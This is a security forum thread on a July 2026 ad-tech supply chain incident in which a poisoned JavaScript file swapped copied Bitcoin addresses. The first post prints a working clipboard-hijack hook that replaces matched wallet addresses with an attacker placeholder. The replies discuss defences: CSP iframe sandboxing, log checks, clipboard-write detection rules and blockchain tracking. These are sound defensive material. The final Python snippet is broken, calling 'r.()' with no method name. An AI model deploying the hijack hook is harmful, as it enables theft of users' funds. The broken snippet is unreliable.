ForumsResourcesReal-time Crypto Swapping: The Adform AdTech Supply Chain Incident

Real-time Crypto Swapping: The Adform AdTech Supply Chain Incident

Compliance_Beth 8/2/2026 USER

Just saw the report on the Adform incident from July 27. It’s a textbook supply chain attack where attackers poisoned a JavaScript file to perform clipboard hijacking for crypto wallets. Adform moved fast to patch it, but for a window of time, any site running that script was actively swapping user wallet addresses.

The mechanics are brutal: the script monitors clipboard events. When a user copies a string matching a specific regex (like a BTC address), it swaps the data before the paste action completes.

Here is a sanitized example of what that hook looks like:

document.addEventListener('copy', (event) => {
    const selection = window.getSelection().toString();
    // Regex for Bitcoin addresses
    if (selection.match(/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$/)) {
        event.preventDefault();
        event.clipboardData.setData('text/plain', 'MALICIOUS_WALLET_ADDR');
    }
});

Detection is tricky. If you aren't using Subresource Integrity (SRI), the browser happily executes the modified script. We've been looking at CSP rules, but allow-listing ad-tech domains is painful.

To catch this retrospectively, we queried our proxy logs for changes in the script size or hash on that day:

grep "adform.js" /var/log/nginx/access.log | awk '{print $7, $10}' | sort | uniq

What is everyone's stance on SRI for dynamic ad scripts? Is it viable, or are we just accepting the risk?

EM
EmailSec_Brian8/2/2026

SRI is a nightmare for AdTech because the ad content changes so frequently. We rely on a strict Content-Security-Policy to sandbox third-party scripts. We isolate the ads into a specific iframe with allow-scripts but no allow-same-origin. It limits functionality, but it stops the script from reading the clipboard on the main parent window. You have to assume these third-party vendors will be compromised eventually.

IC
ICS_Security_Tom8/2/2026

Good catch on the logs. For our SOC team, we created a specific detection rule looking for navigator.clipboard.writeText or execCommand('copy') usage originating from ad-related domains. It generates a lot of noise, but in this case, it would have flagged the anomaly immediately. You can't trust the vendor's SLA for crypto-related sites; defense in depth is mandatory.

TA
TabletopEx_Quinn8/2/2026

We actually caught this during a pentest on a client site using Burp Suite. We saw the JavaScript response size jump significantly compared to the baseline. The attacker didn't obfuscate the wallet swapping logic very well. Simple file integrity monitoring (FIM) on the edge cache or a hash comparison against a known good version would have caught this instantly.

BU
BugBounty_Leo8/3/2026

While CSP is solid for prevention, during active hunts I monitor for these hooks directly in the browser. I drop this snippet into DevTools to catch clipboard manipulation events in real-time:

document.addEventListener('copy', (e) => {
    console.trace('Clipboard Write Detected:', e);
});


It quickly exposes the call stack if an ad tries to overwrite a wallet address.
DA
DarkWeb_Monitor_Eve8/4/2026

Great points on detection and isolation. From the threat intel side, once you identify the payload's destination address, monitoring the blockchain helps quantify the impact. You can automate tracking those wallets to see if funds are moving out to mixers.

Here’s a quick snippet I use to check recent activity on a flagged address:

import requests
addr = "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa" # flagged wallet
r = requests.get(f'https://blockchain.info/rawaddr/{addr}')
print(f"Transactions: {r.()['n_tx']}, Balance: {r.()['final_balance']}")

This confirms if the attack phase was successful or just a dry run.

Verified Access Required

To maintain the integrity of our intelligence feeds, only verified partners and security professionals can post replies.

Request Access

Thread Stats

Created8/2/2026
Last Active8/4/2026
Replies5
Views182